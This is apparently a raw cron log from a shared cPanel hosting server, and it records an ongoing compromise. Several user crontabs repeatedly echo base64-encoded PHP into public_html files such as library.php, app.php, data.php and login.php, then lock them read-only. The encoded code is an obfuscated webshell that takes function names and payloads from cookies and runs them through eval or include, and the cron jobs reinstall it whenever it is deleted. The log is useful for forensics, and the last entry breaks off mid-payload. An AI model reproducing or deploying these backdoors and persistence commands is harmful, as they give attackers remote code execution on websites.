Mar  2 02:44:02 medusa CROND[1009]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:44:02 medusa CROND[1010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:44:02 medusa CROND[1014]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:44:02 medusa CROND[1016]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:44:02 medusa CROND[1054]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:45:01 medusa CROND[7964]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 02:45:01 medusa CROND[8017]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:45:01 medusa CROND[8224]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 02:45:01 medusa CROND[8226]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 02:45:01 medusa CROND[8225]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 02:45:01 medusa CROND[8228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:45:01 medusa CROND[8230]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 02:45:01 medusa CROND[8227]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 02:45:01 medusa CROND[8231]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 02:45:01 medusa CROND[8229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:45:01 medusa CROND[8243]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 02:45:01 medusa CROND[8242]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:45:01 medusa CROND[8244]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:45:01 medusa CROND[8245]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:45:01 medusa CROND[8232]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 02:45:01 medusa CROND[8246]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:45:01 medusa CROND[8247]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:45:02 medusa CROND[8261]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:45:02 medusa CROND[8264]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:45:02 medusa CROND[8271]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 02:45:02 medusa CROND[8268]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:45:02 medusa CROND[8265]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 02:45:02 medusa CROND[8262]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 02:46:01 medusa CROND[15349]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:46:01 medusa CROND[15383]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:46:01 medusa CROND[15384]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 02:46:01 medusa CROND[15385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:46:01 medusa CROND[15386]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:46:01 medusa CROND[15387]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 02:46:01 medusa CROND[15388]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 02:46:01 medusa CROND[15390]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAg